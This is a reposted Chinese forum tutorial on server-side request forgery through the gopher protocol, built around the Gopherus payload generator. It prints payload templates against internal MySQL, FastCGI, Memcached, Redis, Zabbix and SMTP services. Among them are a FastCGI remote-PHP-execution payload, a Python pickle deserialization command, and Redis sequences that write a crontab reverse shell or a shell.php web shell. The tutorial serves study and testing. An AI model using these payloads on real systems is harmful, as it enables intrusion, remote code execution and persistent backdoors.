关于gopher协议的ssrf攻击
2020-08-13 18:58:54 Author: forum.90sec.com(查看原文) 阅读量:484 收藏

Gopher协议浅析

Gopher协议是internet的一个信息查找系统,俗称万能协议,可以通过gopher访问对应计算机上的其他资源,例如利用gopher实现:GET请求,POST请求,内网的redis,mysql(以及各类关系型数据库)未授权访问,以及MongoDB,Memcache等。

协议详情

端口 默认为70端口,可以自定义
协议格式 gopher://127.0.0.1:70/_[data]

“_”相当于一个连接符,可以设置为任意字符,不包括在为请求数据内|
|支持应用/中间件|服务端:目前测试nginx支持,apache 暂不支持(会返回400错误)

客户端:curl、libcurl支持该协议访问|

样例

实验环境:nginx 1.15.11、curl 7.47.0

访问gopher协议与http类似

ip:port部分:gopher://10.67.9.111/_

数据部分:

%47%45%54%20%2f%31%2e%74%78%74%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%30%2e%36%37%2e%39%2e%31%31%31%0a%0a

该编码为http请求体的url编码
image
image

可以看到可以返回http返回请求。

Gopherus工具解析

Gopherus工具是用来专门生成gopher协议的payload工具,通过gopher协议的以及各种被攻击应用的tcp包特点来构造payload

目前支持生成payload应用有:

MySQL (Port:3306)

FastCGI (Port:9000)

Memcached (Port:11211)

Redis (Port:6379)

Zabbix (Port:10050)

SMTP (Port:25)

Script目录下存放为各种payload生成器

Mysql

payload通过mysql正常登陆并执行sql语句的tcp包来构造,分成用户认证部分与sql执行部分

payload:

“00000185a6ff0100000001210000000000000000000000000000000000000000000000”+用户名hex+”00006d7973716c5f6e61746976655f70617373776f72640066035f6f73054c696e75780c5f636c69656e745f6e616d65086c69626d7973716c045f7069640532373235350f5f636c69656e745f76657273696f6e06352e372e3232095f706c6174666f726d067838365f36340c70726f6772616d5f6e616d65056d7973716c”+hex(SQL_EN(sql语句))+ “0100000001”

通过gopher发送该payload至本地3306端口执行mysql语句并返回结果

FastCGI

针对FastCGI的特性构造一个带有后门php文件的payload,传入fastcgi监听的服务,造成远程代码执行(远程命令执行)

payload:

"\x01\x01\x00\x01\x00\x08\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x01\x04\x00\x01" +长度相关字符串+“\x0f\x10SERVER_SOFTWAREgo / fcgiclient \x0b\tREMOTE_ADDR127.0.0.1\x0f\x08SERVER_PROTOCOLHTTP/1.1\x0e”+len(len(commend))+"CONTENT_LENGTH"+len(command)+ "\x0e\x04REQUEST_METHODPOST\tKPHP_VALUEallow_url_include = On\ndisable_functions = \nauto_prepend_file = php://input\x0f" +len(filename)+ "SCRIPT_FILENAME"+filename+"\r\x01DOCUMENT_ROOT/"+字符长度填充位+"\x01\x04\x00\x01\x00\x00\x00\x00\x01\x05\x00\x01\x00"+命令长度字符串+"\x04\x00"+backdoor_phpcode+“\x00\x00\x00\x00”

其中两个需要注意的点:

必须知道服务器某个php文件的绝对路径

Backdoor_phpcode并不会生成文件,仅执行,且可以是任意php代码

Memcache

支持memcache的payload有三种,分别为php、python、ruby

Payload:

"%0d%0aset SpyD3r 4 0 " +len(code) + "%0d%0a" +code+ "%0d%0a"

其中code:

Php:序列化代码,例如O:5:"Hello":0:{}

Python:”cposix\r\nsystem\r\n\p1\r\n(S’”+payload+”\r\np2\r\ntRp3\r\n.”

Ruby:"\x04\x08o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\t:\x0e@instanceo:\x08ERB\x06:\t@srcI""+len(code)+ "%x(" + code + """);\x06:\x06ET:\x0c@method:\x0bresult:\t@varI"\x0c@result\x06;\tT:\x10@deprecatoro:\x1fActiveSupport::Deprecation\x06:\x0e@silencedT"

Redis

Redis的利用方法分为两种,直接反弹与写phpshell

Revers shell:

Payload:"1\r$8\rflushall\r3\r$3\rset\r$1\r1\r$" + str(len_cmd) + "\r" + cmd + "\r4\r$6\rconfig\r$3\rset\r$3\rdir\r$" + str(len(crontab_dir)) + "\r" + crontab_dir + "\r4\r$6\rconfig\r$3\rset\r$10\rdbfilename\r$4\rroot\r*1\r$4\rsave\r"

Phpshell:

Payload:"1\r$8\rflushall\r3\r$3\rset\r$1\r1\r$" + str(len(php_payload) + 4) + "\r" + php_payload + "\r4\r$6\rconfig\r$3\rset\r$3\rdir\r$" + str(len(web_root_location)) + "\r" + web_root_location + "\r4\r$6\rconfig\r$3\rset\r$10\rdbfilename\r$9\rshell.php\r*1\r$4\rsave\r"

Zabbix

Payload:"system.run[("+command+");sleep 2s]"

SMTP

Payload:MAIL\x20FROM:yy\nRCPT\x20To:yy\nDATA\nFrom:yy\nSubject:yy\nMessage:flag\n.

利用方法

Nginx版本:1.10

PHP版本:7.0

本地构造存在ssrf的php文件,通过url参数传入payload

Gopherus生成的payload的必须在重新进行urlencode一次,因为浏览器在传输url的时候会解码一次,如果不进行二次编码,payload会传输错误

Mysql

Mysql模块的利用必须满足本地访问root或者其他账户无密码的情况,也可以构造包含账号密码的payload进行攻击
image
image

FastCGI

Fastcgi需要指定一个服务php文件绝对路径
image
image

Memcached

Memcached本身用于存放小块的缓存数据,根据使用情况也可以反弹shell

这里以python为例,首先生成反弹shell的exp
image
二次编码发送payload,服务器接收
image
image
当服务器端获取并执行反序列化会执行命令
image
image
image

Redis

Redis分为两种,一种利用写入计划任务执行反弹shell操作,一种是在知晓网站网站绝对路径的情况下,写入phpshell

以写入php为例子
image
image
image

Zabbix

无环境,思路与FastCGI类似

SMTP

SMTP主要利用ssrf来发送邮件,暂时没有获取权限的功能


文章来源: https://forum.90sec.com/t/topic/1250/1
如有侵权请联系:admin#unsafe.sh